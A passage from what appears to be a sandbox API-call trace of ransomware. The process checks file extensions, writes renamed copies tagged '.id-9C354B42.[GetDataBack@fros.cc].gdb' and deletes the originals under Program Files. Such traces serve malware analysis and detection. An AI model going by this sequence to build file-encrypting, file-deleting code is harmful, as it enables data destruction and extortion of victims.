Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.163] lstrlenW (lpString=".doc") returned 4 [0117.163] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString=".docx") returned 5 [0117.163] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0117.163] lstrlenW (lpString=".pdf") returned 4 [0117.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString=".xls") returned 4 [0117.163] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString=".xlsx") returned 5 [0117.163] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0117.163] lstrlenW (lpString=".ppt") returned 4 [0117.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.163] lstrlenW (lpString=".zip") returned 4 [0117.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.163] lstrlenW (lpString=".rar") returned 4 [0117.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString=".bz2") returned 4 [0117.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString=".7z") returned 3 [0117.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.163] lstrlenW (lpString=".dbf") returned 4 [0117.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.163] lstrlenW (lpString=".1cd") returned 4 [0117.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.164] lstrlenW (lpString=".jpg") returned 4 [0117.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.164] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.164] lstrlenW (lpString="base_rtl.xml") returned 12 [0117.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.164] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=617) returned 1 [0117.164] CloseHandle (hObject=0x1c0) returned 1 [0117.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0117.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString=".doc") returned 4 [0117.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString=".docx") returned 5 [0117.165] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0117.165] lstrlenW (lpString=".pdf") returned 4 [0117.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString=".xls") returned 4 [0117.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString=".xlsx") returned 5 [0117.165] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0117.165] lstrlenW (lpString=".ppt") returned 4 [0117.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString=".zip") returned 4 [0117.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.165] lstrlenW (lpString=".rar") returned 4 [0117.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString=".bz2") returned 4 [0117.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString=".7z") returned 3 [0117.165] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString=".dbf") returned 4 [0117.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString=".1cd") returned 4 [0117.165] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.165] lstrlenW (lpString=".jpg") returned 4 [0117.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString=".doc") returned 4 [0117.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString=".docx") returned 5 [0117.166] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0117.166] lstrlenW (lpString=".pdf") returned 4 [0117.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString=".xls") returned 4 [0117.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString=".xlsx") returned 5 [0117.166] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0117.166] lstrlenW (lpString=".ppt") returned 4 [0117.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString=".zip") returned 4 [0117.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.166] lstrlenW (lpString=".rar") returned 4 [0117.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString=".bz2") returned 4 [0117.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString=".7z") returned 3 [0117.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString=".dbf") returned 4 [0117.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString=".1cd") returned 4 [0117.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0117.166] lstrlenW (lpString=".jpg") returned 4 [0117.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.167] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.167] lstrlenW (lpString="ja-jp.xml") returned 9 [0117.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.168] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=16616) returned 1 [0117.168] CloseHandle (hObject=0x1c0) returned 1 [0117.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0117.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0117.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0117.168] lstrlenW (lpString=".doc") returned 4 [0117.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.168] lstrlenW (lpString=".docx") returned 5 [0117.168] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0117.168] lstrlenW (lpString=".pdf") returned 4 [0117.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.168] lstrlenW (lpString=".xls") returned 4 [0117.168] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.168] lstrlenW (lpString=".xlsx") returned 5 [0117.169] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0117.169] lstrlenW (lpString=".ppt") returned 4 [0117.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0117.169] lstrlenW (lpString=".zip") returned 4 [0117.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.169] lstrlenW (lpString=".rar") returned 4 [0117.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.169] lstrlenW (lpString=".bz2") returned 4 [0117.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.169] lstrlenW (lpString=".7z") returned 3 [0117.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0117.169] lstrlenW (lpString=".dbf") returned 4 [0117.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0117.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0117.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0117.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0117.571] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0117.571] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0117.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0118.080] GetLastError () returned 0x0 [0118.080] ReadFile (in: hFile=0x1d4, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x61d, lpOverlapped=0x0) returned 1 [0118.081] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x620, lpOverlapped=0x0) returned 1 [0118.083] ReadFile (in: hFile=0x1d4, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0118.083] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0118.083] SetEndOfFile (hFile=0x18c) returned 1 [0118.083] CloseHandle (hObject=0x18c) returned 1 [0118.083] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.084] SetEndOfFile (hFile=0x1d4) returned 1 [0118.084] CloseHandle (hObject=0x1d4) returned 1 [0118.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0118.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".doc") returned 4 [0118.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".docx") returned 5 [0118.085] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0118.085] lstrlenW (lpString=".pdf") returned 4 [0118.085] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".xls") returned 4 [0118.085] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".xlsx") returned 5 [0118.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0118.085] lstrlenW (lpString=".ppt") returned 4 [0118.085] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".zip") returned 4 [0118.085] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.085] lstrlenW (lpString=".rar") returned 4 [0118.085] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".bz2") returned 4 [0118.085] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".7z") returned 3 [0118.085] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".dbf") returned 4 [0118.085] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".1cd") returned 4 [0118.085] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".jpg") returned 4 [0118.085] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.085] lstrlenW (lpString=".doc") returned 4 [0118.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.085] lstrlenW (lpString=".docx") returned 5 [0118.085] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0118.086] lstrlenW (lpString=".pdf") returned 4 [0118.086] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString=".xls") returned 4 [0118.086] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString=".xlsx") returned 5 [0118.086] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0118.086] lstrlenW (lpString=".ppt") returned 4 [0118.086] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.086] lstrlenW (lpString=".zip") returned 4 [0118.086] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.086] lstrlenW (lpString=".rar") returned 4 [0118.086] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString=".bz2") returned 4 [0118.086] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString=".7z") returned 3 [0118.086] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.086] lstrlenW (lpString=".dbf") returned 4 [0118.086] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.086] lstrlenW (lpString=".1cd") returned 4 [0118.086] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0118.086] lstrlenW (lpString=".jpg") returned 4 [0118.086] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.086] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0118.086] lstrlenW (lpString="SETUP.XML") returned 9 [0118.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.377] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1452) returned 1 [0118.377] CloseHandle (hObject=0x1ec) returned 1 [0118.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0118.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.377] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.377] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0118.378] GetLastError () returned 0x0 [0118.378] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x5ac, lpOverlapped=0x0) returned 1 [0118.381] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x5b0, lpOverlapped=0x0) returned 1 [0118.382] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0118.382] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0118.382] SetEndOfFile (hFile=0x1f0) returned 1 [0118.382] CloseHandle (hObject=0x1f0) returned 1 [0118.383] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.383] SetEndOfFile (hFile=0x1ec) returned 1 [0118.384] CloseHandle (hObject=0x1ec) returned 1 [0118.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0118.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0118.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.385] lstrlenW (lpString=".doc") returned 4 [0118.385] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.385] lstrlenW (lpString=".docx") returned 5 [0118.385] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.385] lstrlenW (lpString=".pdf") returned 4 [0118.385] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.385] lstrlenW (lpString=".xls") returned 4 [0118.385] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.385] lstrlenW (lpString=".xlsx") returned 5 [0118.385] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.385] lstrlenW 